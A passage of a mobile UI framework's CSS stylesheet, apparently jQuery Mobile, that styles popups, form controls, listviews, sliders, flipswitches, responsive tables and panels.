| \| | /| |\ / \ * |\ | / \ | /| | / +----+ \ \ +----+ / * | \ | / \ | / | | \ / \| |/ * +----+ / \ +----+ | \ / | | * ^ \ / \ / ^ | \ / +->|\ /| * | \/ \/ | | \ / | | \/ |bottom * | | | \/ | +----+ * +-------------------+--------+-----------+ * | * arrow container * (clips arrow) **/ .ui-popup-arrow-container .ui-popup-arrow { /* (4*desired triangle height)/sqrt(2) - does not account for border - centred within the outer rectangle */ width: 28.284271247px; height: 28.284271247px; border-width: 1px; border-style: solid; } .ui-popup-arrow-container.ui-popup-arrow-t .ui-popup-arrow { left: -4.142135623px; top: 5.857864376px; } .ui-popup-arrow-container.ui-popup-arrow-b .ui-popup-arrow { left: -4.142135623px; top: -14.142135623px; } .ui-popup-arrow-container.ui-popup-arrow-l .ui-popup-arrow { left: 5.857864376px; top: -4.142135623px; } .ui-popup-arrow-container.ui-popup-arrow-r .ui-popup-arrow { left: -14.142135623px; top: -4.142135623px; } /* Fix rotation center for oldIE - see http://www.useragentman.com/IETransformsTranslator/ */ .ui-popup-arrow-container.ui-popup-arrow-t.ie .ui-popup-arrow { margin-left: -5.857864376269049px; margin-top: -7.0710678118654755px; } .ui-popup-arrow-container.ui-popup-arrow-b.ie .ui-popup-arrow { margin-left: -5.857864376269049px; margin-top: -4.142135623730951px; } .ui-popup-arrow-container.ui-popup-arrow-l.ie .ui-popup-arrow { margin-left: -7.0710678118654755px; margin-top: -5.857864376269049px; } .ui-popup-arrow-container.ui-popup-arrow-r.ie .ui-popup-arrow { margin-left: -4.142135623730951px; margin-top: -5.857864376269049px; } /* structure */ .ui-popup > .ui-popup-arrow-guide { position: absolute; left: 0; right: 0; top: 0; bottom: 0; visibility: hidden; } .ui-popup-arrow-container { position: absolute; } .ui-popup-arrow { -webkit-transform: rotate(45deg); -moz-transform: rotate(45deg); -ms-transform: rotate(45deg); transform: rotate(45deg); position: absolute; overflow: hidden; box-sizing: border-box; } .ui-popup-arrow-container.ie .ui-popup-arrow { -ms-filter: "progid:DXImageTransform.Microsoft.Matrix(M11=0.7071067811865474, M12=-0.7071067811865477, M21=0.7071067811865477, M22=0.7071067811865474, SizingMethod='auto expand')"; filter: progid:DXImageTransform.Microsoft.Matrix( M11=0.7071067811865474, M12=-0.7071067811865477, M21=0.7071067811865477, M22=0.7071067811865474, SizingMethod='auto expand'); } .ui-checkbox, .ui-radio { margin: .5em 0; position: relative; } .ui-checkbox .ui-btn, .ui-radio .ui-btn { margin: 0; text-align: left; white-space: normal; /* Nowrap + ellipsis doesn't work on label. Issue #1419. */ z-index: 2; } .ui-controlgroup .ui-checkbox .ui-btn.ui-focus, .ui-controlgroup .ui-radio .ui-btn.ui-focus { z-index: 3; } .ui-checkbox .ui-btn-icon-top, .ui-radio .ui-btn-icon-top, .ui-checkbox .ui-btn-icon-bottom, .ui-radio .ui-btn-icon-bottom { text-align: center; } .ui-controlgroup-horizontal .ui-checkbox .ui-btn:after, .ui-controlgroup-horizontal .ui-radio .ui-btn:after { content: none; display: none; } /* Native input positioning */ .ui-checkbox input, .ui-radio input { position: absolute; left: .466em; top: 50%; width: 22px; height: 22px; margin: -11px 0 0 0; outline: 0 !important; z-index: 1; } .ui-controlgroup-horizontal .ui-checkbox input, .ui-controlgroup-horizontal .ui-radio input { left: 50%; margin-left: -9px; } .ui-checkbox input:disabled, .ui-radio input:disabled { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-select { margin-top: .5em; margin-bottom: .5em; /* no shorthand for margin because it would override margin-right for inline selects */ position: relative; } .ui-select > select { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-select .ui-btn { margin: 0; opacity: 1; /* Fixes #2588: When Windows Phone 7.5 (Mango) tries to calculate a numeric opacity for a select (including "inherit") without explicitly specifying an opacity on the parent to give it context, a bug appears where clicking elsewhere on the page after opening the select will open the select again. */ } .ui-select .ui-btn select { position: absolute; top: 0; left: 0; width: 100%; min-height: 1.5em; min-height: 100%; height: 3em; max-height: 100%; outline: 0; -webkit-border-radius: inherit; border-radius: inherit; -webkit-appearance: none; -moz-appearance: none; cursor: pointer; filter: Alpha(Opacity=0); opacity: 0; z-index: 2; } @-moz-document url-prefix() { .ui-select .ui-btn select { opacity: 0.0001; } } /* Display none because of issues with IE/WP's filter alpha opacity */ .ui-select .ui-state-disabled select { display: none; } /* Because we add all classes of the select and option elements to the span... */ .ui-select span.ui-state-disabled { filter: Alpha(Opacity=100); opacity: 1; } .ui-select .ui-btn.ui-select-nativeonly { border-radius: 0; border: 0; } .ui-select .ui-btn.ui-select-nativeonly select { opacity: 1; text-indent: 0; display: block; } /* ui-li-count is styled in the listview CSS. We set padding and offset here because select supports icon position while listview doesn't. */ .ui-select .ui-li-has-count.ui-btn { padding-right: 2.8125em; } .ui-select .ui-li-has-count.ui-btn-icon-right { padding-right: 4.6875em; } .ui-select .ui-btn-icon-right .ui-li-count { right: 3.2em; } /* We set the rules for the span as well to fix an issue on Chrome with text-overflow ellipsis for the button in combination with text-align center. */ .ui-select .ui-btn > span:not(.ui-li-count) { display: block; text-overflow: ellipsis; overflow: hidden !important; white-space: nowrap; } .ui-selectmenu.ui-popup { min-width: 11em; } .ui-selectmenu .ui-dialog-contain { overflow: hidden; } .ui-selectmenu .ui-header { margin: 0; padding: 0; border-width: 0; } .ui-selectmenu.ui-dialog .ui-header { z-index: 1; position: relative; } .ui-selectmenu.ui-popup .ui-header { -webkit-border-bottom-right-radius: 0; border-bottom-right-radius: 0; -webkit-border-bottom-left-radius: 0; border-bottom-left-radius: 0; } /* when no placeholder is defined in a multiple select, the header height doesn't even extend past the close button. this shim's content in there */ .ui-selectmenu.ui-popup .ui-header h1:after { content: '.'; visibility: hidden; } .ui-selectmenu .ui-header .ui-title { margin: 0 2.875em; } .ui-selectmenu.ui-dialog .ui-content { overflow: visible; z-index: 1; } .ui-selectmenu .ui-selectmenu-list { margin: 0; -webkit-border-radius: inherit; border-radius: inherit; } .ui-header:not(.ui-screen-hidden) + .ui-selectmenu-list { -webkit-border-top-right-radius: 0; border-top-right-radius: 0; -webkit-border-top-left-radius: 0; border-top-left-radius: 0; } .ui-header.ui-screen-hidden + .ui-selectmenu-list li.ui-first-child .ui-btn { border-top-width: 0; } .ui-selectmenu .ui-selectmenu-list li.ui-last-child .ui-btn { border-bottom-width: 0; } .ui-selectmenu .ui-btn.ui-li-divider { cursor: default; } .ui-selectmenu .ui-selectmenu-placeholder { display: none; } .ui-listview, .ui-listview > li { margin: 0; padding: 0; list-style: none; } .ui-content .ui-listview, .ui-panel-inner > .ui-listview { margin: -1em; } .ui-content .ui-listview-inset, .ui-panel-inner > .ui-listview-inset { margin: 1em 0; } .ui-collapsible-content > .ui-listview { margin: -.5em -1em; } .ui-collapsible-content > .ui-listview-inset { margin: .5em 0; } .ui-listview > li { display: block; position: relative; overflow: visible; } .ui-listview > .ui-li-static, .ui-listview > .ui-li-divider, .ui-listview > li > a.ui-btn { margin: 0; display: block; position: relative; text-align: left; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; } .ui-listview > li > .ui-btn:focus { z-index: 1; } .ui-listview > .ui-li-static, .ui-listview > .ui-li-divider, .ui-listview > li > a.ui-btn { border-width: 1px 0 0 0; border-style: solid; } .ui-listview-inset > .ui-li-static, .ui-listview-inset > .ui-li-divider, .ui-listview-inset > li > a.ui-btn { border-right-width: 1px; border-left-width: 1px; } .ui-listview > .ui-li-static.ui-last-child, .ui-listview > .ui-li-divider.ui-last-child, .ui-listview > li.ui-last-child > a.ui-btn { border-bottom-width: 1px; } .ui-collapsible-content > .ui-listview:not(.ui-listview-inset) > li.ui-first-child, .ui-collapsible-content > .ui-listview:not(.ui-listview-inset) > li.ui-first-child > a.ui-btn { border-top-width: 0; } .ui-collapsible-themed-content .ui-listview:not(.ui-listview-inset) > li.ui-last-child, .ui-collapsible-themed-content .ui-listview:not(.ui-listview-inset) > li.ui-last-child > a.ui-btn { border-bottom-width: 0; } .ui-listview > li.ui-first-child, .ui-listview > li.ui-first-child > a.ui-btn { -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; } .ui-listview > li.ui-last-child, .ui-listview > li.ui-last-child > a.ui-btn { -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; } .ui-listview > li.ui-li-has-alt > a.ui-btn { -webkit-border-top-right-radius: 0; border-top-right-radius: 0; -webkit-border-bottom-right-radius: 0; border-bottom-right-radius: 0; } .ui-listview > li.ui-first-child > a.ui-btn + a.ui-btn { -webkit-border-top-left-radius: 0; border-top-left-radius: 0; -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; } .ui-listview > li.ui-last-child > a.ui-btn + a.ui-btn { -webkit-border-bottom-left-radius: 0; border-bottom-left-radius: 0; -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; } .ui-listview > li.ui-first-child img:first-child:not(.ui-li-icon) { -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; } .ui-listview > li.ui-last-child img:first-child:not(.ui-li-icon) { -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; } .ui-collapsible-content > .ui-listview:not(.ui-listview-inset) { -webkit-border-radius: inherit; border-radius: inherit; } .ui-listview > .ui-li-static { padding: .7em 1em; } .ui-listview > .ui-li-divider { padding: .5em 1.143em; font-size: 14px; font-weight: bold; cursor: default; outline: 0; /* Dividers in custom selectmenus have tabindex */ } .ui-listview > .ui-li-has-count > .ui-btn, .ui-listview > .ui-li-static.ui-li-has-count, .ui-listview > .ui-li-divider.ui-li-has-count { padding-right: 2.8125em; } .ui-listview > .ui-li-has-count > .ui-btn-icon-right { padding-right: 4.6875em; } .ui-listview > .ui-li-has-thumb > .ui-btn, .ui-listview > .ui-li-static.ui-li-has-thumb { min-height: 3.625em; padding-left: 6.25em; } /* ui-li-has-icon deprecated in 1.4. TODO: remove in 1.5 */ .ui-listview > .ui-li-has-icon > .ui-btn, .ui-listview > .ui-li-static.ui-li-has-icon { min-height: 1.25em; padding-left: 2.5em; } /* Used by both listview and custom multiple select button */ .ui-li-count { position: absolute; font-size: 12.5px; font-weight: bold; text-align: center; border-width: 1px; border-style: solid; padding: 0 .48em; line-height: 1.6em; min-height: 1.6em; min-width: .64em; right: .8em; top: 50%; margin-top: -.88em; } .ui-listview .ui-btn-icon-right .ui-li-count { right: 3.2em; } .ui-listview .ui-li-has-thumb > img:first-child, .ui-listview .ui-li-has-thumb > .ui-btn > img:first-child, .ui-listview .ui-li-has-thumb .ui-li-thumb { position: absolute; left: 0; top: 0; max-height: 5em; max-width: 5em; } /* ui-li-has-icon deprecated in 1.4. TODO: remove in 1.5 */ .ui-listview > .ui-li-has-icon > img:first-child, .ui-listview > .ui-li-has-icon > .ui-btn > img:first-child { position: absolute; left: .625em; top: .9em; max-height: 1em; max-width: 1em; } .ui-listview > li h1, .ui-listview > li h2, .ui-listview > li h3, .ui-listview > li h4, .ui-listview > li h5, .ui-listview > li h6 { font-size: 1em; font-weight: bold; display: block; margin: .45em 0; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; } .ui-listview > li p { font-size: .75em; font-weight: normal; display: block; margin: .6em 0; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; } .ui-listview .ui-li-aside { position: absolute; top: 1em; right: 3.333em; margin: 0; text-align: right; } .ui-listview > li.ui-li-has-alt > .ui-btn { margin-right: 2.5em; border-right-width: 0; } .ui-listview > li.ui-li-has-alt > .ui-btn + .ui-btn { position: absolute; width: 2.5em; height: 100%; min-height: auto; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; border-left-width: 1px; top: 0; right: 0; margin: 0; padding: 0; z-index: 2; } .ui-listview-inset > li.ui-li-has-alt > .ui-btn + .ui-btn { border-right-width: 1px; } .ui-listview > li.ui-li-has-alt > .ui-btn + .ui-btn:focus { z-index: 3; } ol.ui-listview, ol.ui-listview > .ui-li-divider { counter-reset: listnumbering; } ol.ui-listview > li > .ui-btn, ol.ui-listview > li.ui-li-static { vertical-align: middle; } ol.ui-listview > li > .ui-btn:first-child:before, ol.ui-listview > li.ui-li-static:before, ol.ui-listview > li.ui-field-contain > label:before, ol.ui-listview > li.ui-field-contain > .ui-controlgroup-label:before { display: inline-block; font-size: .9em; font-weight: normal; padding-right: .3em; min-width: 1.4em; line-height: 1.5; vertical-align: middle; counter-increment: listnumbering; content: counter(listnumbering) "."; } ol.ui-listview > li.ui-field-contain:before { content: none; display: none; } ol.ui-listview > li h1:first-child, ol.ui-listview > li h2:first-child, ol.ui-listview > li h3:first-child, ol.ui-listview > li h4:first-child, ol.ui-listview > li h5:first-child, ol.ui-listview > li h6:first-child, ol.ui-listview > li p:first-child, ol.ui-listview > li img:first-child + * { display: inline-block; vertical-align: middle; } ol.ui-listview > li h1:first-child ~ *, ol.ui-listview > li h2:first-child ~ *, ol.ui-listview > li h3:first-child ~ *, ol.ui-listview > li h4:first-child ~ *, ol.ui-listview > li h5:first-child ~ *, ol.ui-listview > li h6:first-child ~ *, ol.ui-listview > li p:first-child ~ *, ol.ui-listview > li img:first-child + * ~ * { margin-top: 0; text-indent: 2.04em; /* (1.4em + .3em) * .9em / .75em */ } html .ui-filterable + .ui-listview, html .ui-filterable.ui-listview { margin-top: .5em; } .ui-collapsible-content > form.ui-filterable { margin-top: -.5em; } .ui-collapsible-content > .ui-input-search.ui-filterable { margin-top: 0; } .ui-collapsible-content > .ui-filterable + .ui-listview:not(.ui-listview-inset) > li.ui-first-child, .ui-collapsible-content > .ui-filterable + .ui-listview:not(.ui-listview-inset) > li.ui-first-child > a.ui-btn, .ui-collapsible-content > .ui-filterable.ui-listview:not(.ui-listview-inset) > li.ui-first-child, .ui-collapsible-content > .ui-filterable.ui-listview:not(.ui-listview-inset) > li.ui-first-child > a.ui-btn { border-top-width: 1px; } div.ui-slider { height: 30px; margin: .5em 0; padding: 0; -ms-touch-action: pan-y pinch-zoom double-tap-zoom; } div.ui-slider:before, div.ui-slider:after { content: ""; display: table; } div.ui-slider:after { clear: both; } input.ui-slider-input { display: block; float: left; font-size: 14px; font-weight: bold; margin: 0; padding: 4px; width: 40px; height: 20px; line-height: 20px; border-width: 1px; border-style: solid; outline: 0; text-align: center; vertical-align: text-bottom; -webkit-appearance: none; -moz-appearance: none; appearance: none; -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; } .ui-slider-input::-webkit-outer-spin-button, .ui-slider-input::-webkit-inner-spin-button { -webkit-appearance: none; margin: 0; } .ui-slider-track { position: relative; overflow: visible; border-width: 1px; border-style: solid; height: 15px; margin: 0 15px 0 68px; top: 6px; } .ui-slider-track.ui-mini { height: 12px; top: 8px; } .ui-slider-track .ui-slider-bg { height: 100%; } /* High level of specificity to override button margins in grids */ .ui-slider-track .ui-btn.ui-slider-handle { position: absolute; z-index: 1; top: 50%; width: 28px; height: 28px; margin: -15px 0 0 -15px; outline: 0; padding: 0; } .ui-slider-track.ui-mini .ui-slider-handle { height: 14px; width: 14px; margin: -8px 0 0 -8px; } select.ui-slider-switch { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } div.ui-slider-switch { display: inline-block; height: 32px; width: 5.8em; top: 0; } /* reset the clearfix */ div.ui-slider-switch:before, div.ui-slider-switch:after { display: none; clear: none; } div.ui-slider-switch.ui-mini { height: 29px; top: 0; } .ui-slider-inneroffset { margin: 0 16px; position: relative; z-index: 1; } .ui-slider-switch.ui-mini .ui-slider-inneroffset { margin: 0 15px 0 14px; } .ui-slider-switch .ui-btn.ui-slider-handle { margin: 1px 0 0 -15px; } .ui-slider-switch.ui-mini .ui-slider-handle { width: 25px; height: 25px; margin: 1px 0 0 -13px; padding: 0; } .ui-slider-handle-snapping { -webkit-transition: left 70ms linear; -moz-transition: left 70ms linear; transition: left 70ms linear; } .ui-slider-switch .ui-slider-label { position: absolute; text-align: center; width: 100%; overflow: hidden; font-size: 16px; top: 0; line-height: 2; min-height: 100%; white-space: nowrap; cursor: pointer; } .ui-slider-switch.ui-mini .ui-slider-label { font-size: 14px; } .ui-slider-switch .ui-slider-label-a { z-index: 1; left: 0; text-indent: -1.5em; } .ui-slider-switch .ui-slider-label-b { z-index: 0; right: 0; text-indent: 1.5em; } /* The corner radii for ui-slider-switch/track can be specified in theme CSS. The bg and handle inherits. */ .ui-slider-track .ui-slider-bg, .ui-slider-switch .ui-slider-label, .ui-slider-switch .ui-slider-inneroffset, .ui-slider-handle { -webkit-border-radius: inherit; border-radius: inherit; } .ui-field-contain div.ui-slider-switch { margin: 0; } /* ui-hide-label deprecated in 1.4. TODO: Remove in 1.5 */ .ui-field-contain div.ui-slider-switch, .ui-field-contain.ui-hide-label div.ui-slider-switch, html .ui-popup .ui-field-contain div.ui-slider-switch { display: inline-block; width: 5.8em; } /* slider tooltip -----------------------------------------------------------------------------------------------------------*/ .ui-slider-popup { width: 64px; height: 64px; font-size: 36px; padding-top: 14px; opacity: 0.8; } .ui-slider-popup { position: absolute !important; text-align: center; z-index: 100; } .ui-slider-track .ui-btn.ui-slider-handle { font-size: .9em; line-height: 30px; } .ui-rangeslider { margin: .5em 0; } .ui-rangeslider:before, .ui-rangeslider:after { content: ""; display: table; } .ui-rangeslider:after { clear: both; } .ui-rangeslider .ui-slider-input.ui-rangeslider-last { float: right; } .ui-rangeslider .ui-rangeslider-sliders { position: relative; overflow: visible; height: 30px; margin: 0 68px; } .ui-rangeslider .ui-rangeslider-sliders .ui-slider-track { position: absolute; top: 6px; right: 0; left: 0; margin: 0; } .ui-rangeslider.ui-mini .ui-rangeslider-sliders .ui-slider-track { top: 8px; } .ui-rangeslider .ui-slider-track:first-child .ui-slider-bg { display: none; } .ui-rangeslider .ui-rangeslider-sliders .ui-slider-track:first-child { background-color: transparent; background: none; border-width: 0; height: 0; } /* this makes ie6 and ie7 set height to 0 to fix z-index problem */ html >/**/body .ui-rangeslider .ui-rangeslider-sliders .ui-slider-track:first-child { height: 15px; border-width: 1px; } html >/**/body .ui-rangeslider.ui-mini .ui-rangeslider-sliders .ui-slider-track:first-child { height: 12px; } /* Hide the second label (the first is moved outside the div) */ div.ui-rangeslider label { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } .ui-field-contain .ui-rangeslider input.ui-slider-input, .ui-field-contain .ui-rangeslider.ui-mini input.ui-slider-input, .ui-field-contain .ui-rangeslider .ui-rangeslider-sliders, .ui-field-contain .ui-rangeslider.ui-mini .ui-rangeslider-sliders { margin-top: 0; margin-bottom: 0; } .ui-input-text, .ui-input-search { margin: .5em 0; border-width: 1px; border-style: solid; } .ui-mini { margin: .446em; } .ui-input-text input, .ui-input-search input, textarea.ui-input-text { padding: .4em; line-height: 1.4em; display: block; width: 100%; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; outline: 0; } .ui-input-text input, .ui-input-search input { margin: 0; min-height: 2.2em; text-align: left; /* Opera aligns type="date" right by default */ border: 0; background: transparent none; -webkit-appearance: none; -webkit-border-radius: inherit; border-radius: inherit; } textarea.ui-input-text { overflow: auto; resize: vertical; } .ui-mini .ui-input-text input, .ui-mini .ui-input-search input, .ui-input-text.ui-mini input, .ui-input-search.ui-mini input, .ui-mini textarea.ui-input-text, textarea.ui-mini { font-size: 14px; } /* Same margin for mini textareas as other mini sized widgets (12.5/14 * 0.5em) */ .ui-mini textarea.ui-input-text, textarea.ui-mini { margin: .446em 0; } .ui-input-has-clear, .ui-input-search { position: relative; } /* Padding on the div instead of input because of browser spinners etc. */ .ui-input-has-clear { padding-right: 2.375em; } .ui-mini.ui-input-has-clear { padding-right: 2.923em; } .ui-input-has-clear input { padding-right: 0; /* Autofill on Chrome has bg color so we unset corners right as well. */ -webkit-border-top-right-radius: 0; border-top-right-radius: 0; -webkit-border-bottom-right-radius: 0; border-bottom-right-radius: 0; } /* Search icon */ .ui-input-search input { padding-left: 1.75em; } .ui-input-search:after { position: absolute; left: .3125em; top: 50%; margin-top: -7px; content: ""; background-position: center center; background-repeat: no-repeat; width: 14px; height: 14px; filter: Alpha(Opacity=50); opacity: .5; } .ui-input-search.ui-input-has-clear .ui-btn.ui-input-clear, .ui-input-text.ui-input-has-clear .ui-btn.ui-input-clear { position: absolute; right: 0; top: 50%; margin: -14px .3125em 0; border: 0; background-color: transparent; } .ui-input-search .ui-input-clear-hidden, .ui-input-text .ui-input-clear-hidden { display: none; } /* Resolves issue #5166: Added to support issue introduced in Firefox 15. We can likely remove this in the future. */ .ui-input-text input::-moz-placeholder, .ui-input-search input::-moz-placeholder, textarea.ui-input-text::-moz-placeholder { color: #aaa; } /* Same for IE10 */ .ui-input-text input:-ms-input-placeholder, .ui-input-search input:-ms-input-placeholder, textarea.ui-input-text:-ms-input-placeholder { color: #aaa; } /* Resolves issue #5131: Width of textinput depends on its type, for Android 4.1 */ .ui-input-text input[type=number]::-webkit-outer-spin-button { margin: 0; } /* Resolves issue #5756: Textinput in IE10 has a default clear button */ .ui-input-text input::-ms-clear, .ui-input-search input::-ms-clear { display: none; } .ui-input-text input:focus, .ui-input-search input:focus { -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } textarea.ui-input-text.ui-textinput-autogrow { overflow: hidden; } .ui-textinput-autogrow-resize { -webkit-transition: height 0.25s; -o-transition: height 0.25s; -moz-transition: height 0.25s; transition: height 0.25s; } .ui-flipswitch { display: inline-block; vertical-align: middle; width: 5.875em; /* Override this and padding-left in next rule if you use labels other than "on/off" and need more space */ height: 1.875em; border-width: 1px; border-style: solid; margin: .5em 0; overflow: hidden; -webkit-transition-property: padding, width, background-color, color, border-color; -moz-transition-property: padding, width, background-color, color, border-color; -o-transition-property: padding, width, background-color, color, border-color; transition-property: padding, width, background-color, color, border-color; -webkit-transition-duration: 100ms; -moz-transition-duration: 100ms; -o-transition-duration: 100ms; transition-duration: 100ms; -webkit-touch-callout: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; cursor: pointer; } .ui-flipswitch.ui-flipswitch-active { padding-left: 4em; /* Override this and width in previous rule if you use labels other than "on/off" and need more space */ width: 1.875em; } .ui-flipswitch-input { position: absolute; height: 1px; width: 1px; margin: -1px; overflow: hidden; clip: rect(1px,1px,1px,1px); border: 0; outline: 0; filter: Alpha(Opacity=0); opacity: 0; } .ui-flipswitch .ui-btn.ui-flipswitch-on, .ui-flipswitch .ui-flipswitch-off { float: left; height: 1.75em; margin: .0625em; line-height: 1.65em; } .ui-flipswitch .ui-btn.ui-flipswitch-on { width: 1.75em; padding: 0; text-indent: -2.6em; /* Override this to center text if you use a label other than "on" */ text-align: left; border-width: 1px; border-style: solid; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; border-radius: inherit; overflow: visible; color: inherit; text-shadow: inherit; } .ui-flipswitch .ui-flipswitch-off { padding: 1px; text-indent: 1em; /* Override this to center text if you use a label other than "off" */ } /* Override field container CSS to prevent the flipswitch from becomming full width */ html .ui-field-contain > label + .ui-flipswitch, html .ui-popup .ui-field-contain > label + .ui-flipswitch { display: inline-block; width: 5.875em; /* If you override the width for .ui-flipswitch you should repeat the same value here */ -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; } .ui-field-contain .ui-flipswitch.ui-flipswitch-active, .ui-popup .ui-field-contain .ui-flipswitch.ui-flipswitch-active { width: 1.875em; } .ui-table { border: 0; border-collapse: collapse; padding: 0; width: 100%; } .ui-table th, .ui-table td { line-height: 1.5em; text-align: left; padding: .4em .5em; vertical-align:top; } .ui-table th .ui-btn, .ui-table td .ui-btn { line-height: normal; } .ui-table th { font-weight: bold; } .ui-table caption { text-align: left; margin-bottom: 1.4em; opacity: .5; } /* Styles for the table columntoggle mode */ .ui-table-columntoggle-btn { float: right; margin-bottom: .8em; } /* Remove top/bottom margins around the fieldcontain on check list */ .ui-table-columntoggle-popup fieldset { margin:0; } .ui-table-columntoggle { clear: both; } /* Hide all prioritized columns by default */ @media only all { th.ui-table-priority-6, td.ui-table-priority-6, th.ui-table-priority-5, td.ui-table-priority-5, th.ui-table-priority-4, td.ui-table-priority-4, th.ui-table-priority-3, td.ui-table-priority-3, th.ui-table-priority-2, td.ui-table-priority-2, th.ui-table-priority-1, td.ui-table-priority-1 { display: none; } } /* Preset breakpoints if ".ui-responsive" class added to table */ /* Show priority 1 at 320px (20em x 16px) */ @media screen and (min-width: 20em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-1, .ui-table-columntoggle.ui-responsive td.ui-table-priority-1 { display: table-cell; } } /* Show priority 2 at 480px (30em x 16px) */ @media screen and (min-width: 30em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-2, .ui-table-columntoggle.ui-responsive td.ui-table-priority-2 { display: table-cell; } } /* Show priority 3 at 640px (40em x 16px) */ @media screen and (min-width: 40em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-3, .ui-table-columntoggle.ui-responsive td.ui-table-priority-3 { display: table-cell; } } /* Show priority 4 at 800px (50em x 16px) */ @media screen and (min-width: 50em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-4, .ui-table-columntoggle.ui-responsive td.ui-table-priority-4 { display: table-cell; } } /* Show priority 5 at 960px (60em x 16px) */ @media screen and (min-width: 60em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-5, .ui-table-columntoggle.ui-responsive td.ui-table-priority-5 { display: table-cell; } } /* Show priority 6 at 1,120px (70em x 16px) */ @media screen and (min-width: 70em) { .ui-table-columntoggle.ui-responsive th.ui-table-priority-6, .ui-table-columntoggle.ui-responsive td.ui-table-priority-6 { display: table-cell; } } /* Unchecked manually: Always hide */ .ui-table-columntoggle th.ui-table-cell-hidden, .ui-table-columntoggle td.ui-table-cell-hidden, .ui-table-columntoggle.ui-responsive th.ui-table-cell-hidden, .ui-table-columntoggle.ui-responsive td.ui-table-cell-hidden { display: none; } /* Checked manually: Always show */ .ui-table-columntoggle th.ui-table-cell-visible, .ui-table-columntoggle td.ui-table-cell-visible, .ui-table-columntoggle.ui-responsive th.ui-table-cell-visible, .ui-table-columntoggle.ui-responsive td.ui-table-cell-visible { display: table-cell; } /* Styles for the table columntoggle mode */ .ui-table-reflow td .ui-table-cell-label, .ui-table-reflow th .ui-table-cell-label { display: none; } /* Mobile first styles: Begin with the stacked presentation at narrow widths */ @media only all { /* Hide the table headers */ .ui-table-reflow thead td, .ui-table-reflow thead th { display: none; } /* Show the table cells as a block level element */ .ui-table-reflow td, .ui-table-reflow th { text-align: left; display: block; } /* Add a fair amount of top margin to visually separate each row when stacked */ .ui-table-reflow tbody th { margin-top: 3em; } /* Make the label elements a percentage width */ .ui-table-reflow td .ui-table-cell-label, .ui-table-reflow th .ui-table-cell-label { padding: .4em; min-width: 30%; display: inline-block; margin: -.4em 1em -.4em -.4em; } /* For grouped headers, have a different style to visually separate the levels by classing the first label in each col group */ .ui-table-reflow th .ui-table-cell-label-top, .ui-table-reflow td .ui-table-cell-label-top { display: block; padding: .4em 0; margin: .4em 0; text-transform: uppercase; font-size: .9em; font-weight: normal; } } /* Breakpoint to show as a standard table at 560px (35em x 16px) or wider */ @media ( min-width: 35em ) { /* Show the table header rows */ .ui-table-reflow.ui-responsive td, .ui-table-reflow.ui-responsive th, .ui-table-reflow.ui-responsive tbody th, .ui-table-reflow.ui-responsive tbody td, .ui-table-reflow.ui-responsive thead td, .ui-table-reflow.ui-responsive thead th { display: table-cell; margin: 0; } /* Hide the labels in each cell */ .ui-table-reflow.ui-responsive td .ui-table-cell-label, .ui-table-reflow.ui-responsive th .ui-table-cell-label { display: none; } } /* Hack to make IE9 and WP7.5 treat cells like block level elements, scoped to ui-responsive class */ /* Applied in a max-width media query up to the table layout breakpoint so we don't need to negate this*/ @media ( max-width: 35em ) { .ui-table-reflow.ui-responsive td, .ui-table-reflow.ui-responsive th { width: 100%; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; float: left; clear: left; } } /* Panel */ .ui-panel { width: 17em; min-height: 100%; max-height: none; border-width: 0; position: absolute; top: 0; display: block; } .ui-panel-closed { width: 0; max-height: 100%; overflow: hidden; visibility: hidden; left: 0; clip: rect(1px,1px,1px,1px); } .ui-panel-fixed { position: fixed; bottom: -1px; /* Fixes gap on Chrome for Android */ padding-bottom: 1px; } .ui-panel-display-reveal { z-index: 1; } .ui-panel-display-push { z-index: 999; } .ui-panel-display-overlay { z-index: 1001; /* Fixed toolbars have z-index 1000 */ } .ui-panel-inner { padding: 1em; } /* Container, page and wrapper */ .ui-panel-page-container { overflow-x: visible; } .ui-panel-page-container-themed .ui-page-active { background: none; } .ui-panel-wrapper { position: relative; min-height: inherit; border: 0; overflow-x: hidden; z-index: 999; } /* Fixed toolbars */ .ui-panel-fixed-toolbar { overflow-x: hidden; } /* Dismiss */ .ui-panel-dismiss { position: absolute; top: 0; left: 0; right: 0; height: 100%; z-index: 1002; display: none; } .ui-panel-dismiss-open { display: block; } /* Animate class is added to panel, wrapper and fixed toolbars */ .ui-panel-animate { -webkit-transition: -webkit-transform 300ms ease; -webkit-transition-duration: 300ms; -moz-transition: -moz-transform 300ms ease; transition: transform 300ms ease; } /* Fix for Windows Phone issue #6349: unset the transition for transforms in case of fixed toolbars. */ @media screen and ( max-device-width: 768px ) { .ui-page-header-fixed .ui-panel-animate.ui-panel-wrapper, .ui-page-footer-fixed .ui-panel-animate.ui-panel-wrapper, .ui-panel-animate.ui-panel-fixed-toolbar { -ms-transition: none; } /* We need a transitionend event ... */ 